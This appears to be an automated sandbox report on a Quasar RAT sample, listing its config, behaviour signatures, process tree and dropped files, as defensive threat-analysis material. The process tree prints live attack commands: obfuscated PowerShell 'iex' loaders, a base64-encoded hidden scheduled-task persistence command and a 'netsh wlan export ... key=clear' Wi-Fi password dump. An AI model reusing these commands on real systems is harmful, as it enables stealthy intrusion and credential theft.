Analysis

  • user interaction
    yes
  • max time kernel
    298s
  • max time network
    285s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 12:28

General

  • Target
    Xenoo.exe
  • Size 11.2MB
  • Sample261107-pnlmssbz2w
  • SHA256 fbb9caefe841fc8250e02ce382b76d5a3d88c3085e1c6ae1b2b931bb6889d596
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Attributes
  • encryption_key

    2F89CD21DE4DECEF4B8A2034B5C7243C56A8495C

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Xenoo.exe
    "C:\Users\Admin\AppData\Local\Temp\Xenoo.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1808
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start "" /b "C:\Users\Admin\AppData\Local\Temp\0140f0af16.bat"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4520
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\0140f0af16.bat"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -C "$Rd=$env:dQt0+$env:dQt1+$env:dQt2+$env:dQt3+$env:dQt4+$env:dQt5+$env:dQt6+$env:dQt7+$env:dQt8+$env:dQt9+$env:dQt10;$env:LGQcWMMTDS=$Rd;$dp='ix'+'e';$Rd|&($dp[0]+$dp[2]+$dp[1])"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5416
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -C "$z=$env:LGQcWMMTDS;$Zqi='e'+'ix';& ($Zqi[1]+$Zqi[0]+$Zqi[2]) $z"
            5⤵
            • Badlisted process makes network request
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:700
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" -WindowStyle Hidden -NonInteractive -EncodedCommand JAB0ACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEsAdABjAGwAeQBwAFcAUwB6AGUAJwAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC8AYwAgACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABFAHoASABQAG0AZABnAEkAXABFAHoASABQAG0AZABnAEkALgBiAGEAdAAiACcAKQAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEgAaQBkAGQAZQBuACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgADAAKQAgAC0ARgBvAHIAYwBlAA==
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3744
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c "C:\Users\Admin\exorium-onconnect.bat"
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2868
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /K "C:\Users\Admin\exorium-onconnect-payload.bat"
                7⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:2816
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -command "Invoke-Expression $env:QrgEjvlRkxqt"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4372
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -C "$glgKkj=${env:_nHom0}+${env:_nHom1}+${env:_nHom2}+${env:_nHom3}+${env:_nHom4}+${env:_nHom5}+${env:_nHom6}+${env:_nHom7}+${env:_nHom8}+${env:_nHom9}+${env:_nHom10}+${env:_nHom11};&([scriptblock]::Create($glgKkj))"
                    9⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3336
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c "C:\Users\Admin\exorium-onconnect.bat"
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3248
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /K "C:\Users\Admin\exorium-onconnect-payload.bat"
                7⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:2688
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -command "Invoke-Expression $env:QrgEjvlRkxqt"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4844
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -C "$glgKkj=${env:_nHom0}+${env:_nHom1}+${env:_nHom2}+${env:_nHom3}+${env:_nHom4}+${env:_nHom5}+${env:_nHom6}+${env:_nHom7}+${env:_nHom8}+${env:_nHom9}+${env:_nHom10}+${env:_nHom11};&([scriptblock]::Create($glgKkj))"
                    9⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4304
            • C:\Windows\SYSTEM32\netsh.exe
              "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\wifi_c78473b1"
              6⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:3272
            • C:\Windows\SYSTEM32\netsh.exe
              "netsh" wlan show profiles
              6⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:2764
  • C:\Windows\system32\cmd.exe
    cmd.exe
    1⤵
      PID:3316
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:1316

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a4f4845e344dbf8441a8393be188339b7fd02da00e6e7fcbce31255eb41545ee
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 e9dcbc5a24815b4b33c17df21b2dd98b925b17331e720efba10a2e6805a66914
            • MD5 SHA1 SHA512 TLSH

            0140f0af16.bat

            • Path C:\Users\Admin\AppData\Local\Temp\0140f0af16.bat
            • Size 4.2MB
            • SHA256 266ed72c3462a7267448fbf3b55457b76fdc8899072e810ff06c833b4f5beb16
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_0teghlus.psl.psm1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0teghlus.psl.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            cc_7896198d762e4ee9b819fb1c0fa30c23.db

            • Path C:\Users\Admin\AppData\Local\Temp\cc_7896198d762e4ee9b819fb1c0fa30c23.db
            • Size 138KB
            • SHA256 f3323c1b97ad69ac9fdca36309ff2c1bb375346bff9e1192df9efbe618d8937c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            cc_9086addc83a4488d90efe1407083fe1a.db

            • Path C:\Users\Admin\AppData\Local\Temp\cc_9086addc83a4488d90efe1407083fe1a.db
            • Size 256KB
            • SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ld_55026809ab034de79c5e1a01853cf426.db

            • Path C:\Users\Admin\AppData\Local\Temp\ld_55026809ab034de79c5e1a01853cf426.db
            • Size 40KB
            • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
            • MD5 SHA1 SHA512 SSDEEP TLSH

            rc_501929a589f342f2b0968da09a66a113.db

            • Path C:\Users\Admin\AppData\Local\Temp\rc_501929a589f342f2b0968da09a66a113.db
            • Size 20KB
            • SHA256 2ade7ad8f15eccb025798893f007bc3a04679504411bbad75e4d1f35cf47a65e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            rc_506c5426b1b74b71b19af7caa1619f85.db

            • Path C:\Users\Admin\AppData\Local\Temp\rc_506c5426b1b74b71b19af7caa1619f85.db
            • Size 24KB
            • SHA256 4cc1a146d871eea502899024db7a2ff4ab46d4e787819a0fd75cc74aa7dd9926
            • MD5 SHA1 SHA512 SSDEEP TLSH

            exorium-onconnect-ok.txt

            • Path C:\Users\Admin\exorium-onconnect-ok.txt
            • Size 39B
            • SHA256 09728743edaabc5e420646b26b3a77966fa19dab965dc6464f8f4fb5ef373b91
            • MD5 SHA1 SHA512

            exorium-onconnect-payload.bat

            • Path C:\Users\Admin\exorium-onconnect-payload.bat
            • Size 2.1MB
            • SHA256 ec323870b7a7c9b5d2758b182d7881d1cb81ca79358394e21ebeb2ff9f4b7cdf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            exorium-onconnect.bat

            • Path C:\Users\Admin\exorium-onconnect.bat
            • Size 143B
            • SHA256 16554340b4432a84a2d209bc7f24833dd8209a0409497856dab6df9806574471
            • MD5 SHA1 SHA512 TLSH

            memory/700-36-0x00000209F0460000-0x00000209F0468000-memory.dmp

            memory/700-83-0x00000209F1440000-0x00000209F1452000-memory.dmp

            memory/700-76-0x00000209F14A0000-0x00000209F1536000-memory.dmp

            memory/700-64-0x00000209F11A0000-0x00000209F11A8000-memory.dmp

            memory/700-59-0x00000209F1190000-0x00000209F1198000-memory.dmp

            memory/700-24-0x00000209F09A0000-0x00000209F0A54000-memory.dmp

            memory/700-74-0x00000209F1230000-0x00000209F130A000-memory.dmp

            memory/700-84-0x00000209F1580000-0x00000209F15D0000-memory.dmp

            memory/700-48-0x00000209F1180000-0x00000209F118A000-memory.dmp

            memory/700-45-0x00000209F1170000-0x00000209F117A000-memory.dmp

            memory/700-34-0x00000209F0A60000-0x00000209F0B20000-memory.dmp

            memory/700-35-0x00000209F0B20000-0x00000209F0B36000-memory.dmp

            memory/700-44-0x00000209F1160000-0x00000209F116C000-memory.dmp

            memory/700-37-0x00000209F0B40000-0x00000209F0B8C000-memory.dmp

            memory/700-40-0x00000209F1100000-0x00000209F110E000-memory.dmp

            memory/700-41-0x00000209F11B0000-0x00000209F1226000-memory.dmp

            memory/700-42-0x00000209F1140000-0x00000209F115E000-memory.dmp

            memory/1808-0-0x00007FFA371CF000-0x00007FFA371D0000-memory.dmp

            memory/1808-4-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/1808-6-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/1808-3-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/1808-8-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/1808-7-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/1808-2-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/1808-1-0x0000000000970000-0x00000000014A8000-memory.dmp

            memory/3744-32-0x000002997B520000-0x000002997B53E000-memory.dmp

            memory/3744-31-0x000002997B410000-0x000002997B41A000-memory.dmp

            memory/3744-29-0x000002997B420000-0x000002997B43E000-memory.dmp

            memory/3744-30-0x000002997B440000-0x000002997B4F2000-memory.dmp

            memory/4304-73-0x000001867F440000-0x000001867F5DA000-memory.dmp

            memory/4304-72-0x000001867F1D0000-0x000001867F438000-memory.dmp

            memory/4304-71-0x000001867F040000-0x000001867F1C8000-memory.dmp

            memory/4304-70-0x000001867EDB0000-0x000001867EDB4000-memory.dmp

            memory/5416-18-0x000001C9F1D40000-0x000001C9F1D62000-memory.dmp

            memory/5416-10-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/5416-11-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/5416-12-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/5416-13-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/5416-14-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/5416-20-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

            memory/5416-15-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp